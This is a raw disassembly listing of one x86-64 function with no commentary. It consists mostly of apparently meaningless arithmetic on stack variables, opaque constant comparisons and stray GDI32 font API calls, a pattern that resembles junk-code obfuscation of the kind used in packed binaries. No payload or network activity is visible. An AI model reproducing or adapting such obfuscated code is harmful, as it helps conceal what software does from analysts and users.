movzx ecx, byte [rsp + 0x105]
or eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xf6c], ax
mov eax, dword [rsp + 0x3764]
mov rcx, qword [rsp + 0x67b8]
mov qword [rsp + 0x6960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6960]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov eax, dword [0x14024b350]
mov ecx, dword [rsp + 0x3828]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3764], eax
mov eax, dword [rsp + 0x37a0]
mov ecx, dword [rsp + 0x3758]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x37c4], eax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6870]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
sub eax, ecx
mov word [rsp + 0xf64], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
sub eax, ecx
mov word [rsp + 0xf64], ax
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3764]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3840], eax
mov eax, dword [rsp + 0x3758]
movzx ecx, al
mov eax, dword [rsp + 0x3790]
shl eax, cl
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov rcx, qword [rsp + 0x67c0]
mov byte [rcx], al
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf70]
or eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x6870]
mov byte [rcx], al
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
sub eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x67a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
cmp dword [rsp + 0x37b8], 0xb8e5
jbe 0x14005c5f9
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
mov byte [rsp + 0x3898], al
cmp byte [rsp + 0x3898], 0
je 0x14005cc19
jmp 0x14005cc80
mov rax, qword [rsp + 0x6878]
mov rcx, qword [rsp + 0x6920]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3764], eax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x6968], rax
mov dword [rsp + 0x389c], 0x7242
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xf6c]
sub eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
lea rax, [rsp + 0x174]
mov qword [rsp + 0x6970], rax
jmp 0x14005ccde
movsx eax, byte [rsp + 0x174]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov byte [rsp + 0x172], al
movsx eax, word [rsp + 0xf68]
movsx ecx, word [rsp + 0xf64]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
lea r8, [rsp + 0x28d60]
mov edx, 0x2b
mov rcx, qword [rsp + 0x68e0]
call qword [sym.imp.GDI32.dll_GetKerningPairsW]
mov dword [rsp + 0x38a0], eax
call fcn.1401fe730
nop
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3840]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x67a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6940]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x37a0]
shl eax, cl
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6878]
mov rcx, qword [rsp + 0x6920]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x373c], eax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
mov rax, qword [rsp + 0x67c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
and eax, ecx
mov word [rsp + 0xc4c], ax
mov eax, dword [rsp + 0x3844]
sub eax, 0x2d
mov dword [rsp + 0x3844], eax
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov rax, qword [rsp + 0x68f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6918]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6920]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3840]
add ecx, eax
mov eax, ecx
mov dword [0x14024b350], eax
mov eax, dword [rsp + 0x37a0]
mov ecx, dword [rsp + 0x3758]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6738]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68f0]
mov rcx, qword [rsp + 0x6840]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6970]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x172]
xor eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xc4c], ax
cmp dword [rsp + 0x3844], 0xd8a6
jae 0x14005ccde
cmp dword [rsp + 0x389c], 0x7306
je 0x14005d0bc
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
shl eax, cl
mov byte [rsp + 0x105], al
mov eax, dword [rsp + 0x389c]
add eax, 2
mov dword [rsp + 0x389c], eax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6878]
mov qword [rsp + 0x6978], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6978]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3738], eax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x373c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6888]
mov rcx, qword [rsp + 0x68f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6888]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x68e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf6c], ax
movsx eax, byte [rsp + 0x172]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6740]
mov byte [rcx], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
and eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov word [rsp + 0xf74], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf70]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6840]
mov rcx, qword [rsp + 0x6140]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14024a008], rax
jmp 0x14005cf14
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
or eax, ecx
movsx ecx, word [rsp + 0xf68]
movsx edx, word [rsp + 0xf70]
xor ecx, edx
cmp eax, ecx
jl 0x1401fd7ef
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
cmp dword [rsp + 0x387c], 0x4307
je 0x14005d313
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6798]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x68f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x68b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x67c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16f], al
mov eax, dword [rsp + 0x373c]
movzx ecx, al
mov eax, dword [rsp + 0x3738]
shl eax, cl
mov dword [0x14024b350], eax
mov eax, dword [rsp + 0x37c4]
mov rcx, qword [rsp + 0x66e8]
mov qword [rsp + 0x6980], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6980]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x6140]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x68f0]
mov qword [rcx], rax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6918]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6778], rax
mov rax, qword [rsp + 0x6820]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf60], ax
mov eax, dword [rsp + 0x387c]
add eax, 0x3d
mov dword [rsp + 0x387c], eax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6870]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf78], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6948]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x68e8]
mov qword [rcx], rax
jmp 0x14005d10e
lea rax, [rsp + 0x6140]
mov qword [rsp + 0x6988], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x68e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [0x14024a008]
mov rdx, qword [rsp + 0x6918]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
ja 0x1401fd73e
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf74]
add eax, ecx
mov rcx, qword [rsp + 0x6948]
mov word [rcx], ax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
and eax, ecx
mov rcx, qword [rsp + 0x6780]
mov byte [rcx], al
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3828]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6940]
mov ecx, dword [rsp + 0x3790]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x67e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6888]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6840]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6790]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6948]
mov word [rcx], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov rax, qword [rsp + 0x68b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6760]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3880]
sub eax, 0x73
mov dword [rsp + 0x3880], eax
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x105]
shl eax, cl
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14024b350]
shr eax, cl
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x68f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x67a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6940]
mov ecx, dword [rsp + 0x3758]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37c4], eax
movsx eax, byte [rsp + 0x174]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0x6760]
mov byte [rcx], al
movzx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x173], al
mov rax, qword [rsp + 0x6948]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6928]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6948]
mov word [rcx], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
sub eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x6780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
mov byte [rsp + 0x105], al
mov eax, dword [rsp + 0x3764]
mov ecx, dword [rsp + 0x373c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x37c4]
mov ecx, dword [rsp + 0x3758]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x66e8]
mov dword [rcx], eax
cmp dword [rsp + 0x3880], 0x5eda
ja 0x14005d37a
mov rax, qword [rsp + 0x67b8]
mov rcx, qword [rsp + 0x6878]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67d8]
mov qword [rsp + 0x6990], rax
movzx eax, word [rsp + 0xc4c]
movzx ecx, word [rsp + 0xf6c]
add eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6740]
movzx eax, byte [rax]
mov byte [rsp + 0x175], al
movzx eax, word [rsp + 0xf6c]
movzx ecx, word [rsp + 0xf60]
sub eax, ecx
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
mov rax, qword [rsp + 0x6760]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x174]
xor eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf78]
sar eax, cl
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6920]
mov qword [rsp + 0x6998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6998]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x67b8]
mov ecx, dword [rsp + 0x3738]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3828], eax
mov rax, qword [0x14024a008]
mov rcx, qword [rsp + 0x6778]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x6738]
mov rcx, qword [rsp + 0x6940]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37c4], eax
movsx eax, word [rsp + 0xf68]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x67f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf68], ax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6970]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6820]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x6870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x68e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x14024a008], rax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x373c]
mov rcx, qword [rsp + 0x6878]
mov qword [rsp + 0x69a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6878]
mov dword [rcx], eax
mov rax, qword [rsp + 0x67b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x67e0]
mov qword [rsp + 0x69a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x6940]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf60]
movzx ecx, word [rsp + 0xf74]
xor eax, ecx
mov rcx, qword [rsp + 0x67f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x172]
movsx ecx, byte [rsp + 0x175]
or eax, ecx
mov byte [rsp + 0x174], al
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
and eax, ecx
mov rcx, qword [rsp + 0x6868]
mov word [rcx], ax
mov eax, dword [rsp + 0x37e8]
add eax, 0x8e
mov dword [rsp + 0x37e8], eax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x173]
add eax, ecx
mov rcx, qword [rsp + 0x67e8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x105]
movzx ecx, byte [rsp + 0x170]
add eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
mov rax, qword [rsp + 0x6920]
mov ecx, dword [rsp + 0x3840]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024b350], eax
mov rax, qword [rsp + 0x66e8]
mov rcx, qword [rsp + 0x67b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37c4], eax
mov rax, qword [rsp + 0x6828]
mov rcx, qword [rsp + 0x6988]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6778]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x6868]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
sub eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6790]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6820]
mov word [rcx], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x170]
xor eax, ecx
mov byte [rsp + 0x105], al
movsx eax, word [rsp + 0xf64]
movsx ecx, word [rsp + 0xf70]
shl eax, cl
mov word [rsp + 0xf68], ax
mov rax, qword [0x14024a008]
movzx ecx, al
mov rax, qword [rsp + 0x6778]
shr rax, cl
mov qword [rsp + 0x6918], rax
cmp dword [rsp + 0x37e8], 0xdf0c
jbe 0x14005d67f
mov rax, qword [rsp + 0x6928]
movzx eax, word [rax]
mov dword [rsp + 0x38a4], eax
cmp dword [rsp + 0x38a4], 0
je 0x14005da97
jmp 0x1401fd5c9
mov rax, qword [rsp + 0x67b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3840]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6920]
mov rdx, qword [rsp + 0x6878]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jae 0x14005dae8
mov rax, qword [rsp + 0x67e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [0x14024b358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3840]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x67b8]
mov dword [rcx], eax
cmp dword [rsp + 0x37ec], 0x6a15
jb 0x14005dc80
mov eax, dword [rsp + 0x38a0]
mov ecx, dword [rsp + 0x3840]
or ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6828]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6840]
shl rax, cl
mov qword [rsp + 0x6140], rax
mov rax, qword [rsp + 0x67a8]
mov rcx, qword [rsp + 0x6918]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x67a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x67c8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x172], al
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0x6780]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6798]
mov byte [rcx], al
movzx eax, word [rsp + 0xf74]
mov rcx, qword [rsp + 0x67f8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6928]
mov word [rcx], ax
mov rax, qword [rsp + 0x67f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6868]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf68], ax
movsx eax, word [rsp + 0xf70]
movsx ecx, word [rsp + 0xf68]
add eax, ecx
mov rcx, qword [rsp + 0x67f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6878]
mov rcx, qword [rsp + 0x67b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6920]
mov dword [rcx], eax
mov eax, dword [rsp + 0x37ec]
sub eax, 0x14
mov dword [rsp + 0x37ec], eax
mov eax, dword [rsp + 0x3828]
mov ecx, dword [0x14024b350]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14024b358]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x67a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6918], rax
jmp 0x14005db06
movzx eax, byte [rsp + 0x170]
movzx ecx, byte [rsp + 0x105]
and eax, ecx
mov rcx, qword [rsp + 0x6870]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x173]
sub ecx, edx
cmp eax, ecx
jne 0x14005dd6d
mov rax, qword [rsp + 0x6940]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3758], eax
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov qword [rsp + 0x69b0], rax
cmp qword [rsp + 0x69b0], 0
je 0x14005dcff
movabs rax, 0x97d313c6dfb79686
cmp qword [rsp + 0x69b0], rax
je 0x14005dd3a
jmp 0x14005dd6b
movzx eax, word [rsp + 0xf70]
mov word [rsp + 0xf7c], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x170]
shl eax, cl
mov byte [rsp + 0x105], al
lea rax, [rsp + 0xc4c]
mov qword [rsp + 0x69b8], rax
jmp 0x14005dd6b
mov rcx, qword [rsp + 0x69c0]
call qword [sym.imp.GDI32.dll_GetTextAlign]
mov dword [rsp + 0x3840], eax
movzx eax, byte [rsp + 0x173]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x170], al
jmp 0x14005ddaa
mov rax, qword [rsp + 0x67a8]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x37c4]
movzx r8d, byte [rsp + 0x170]
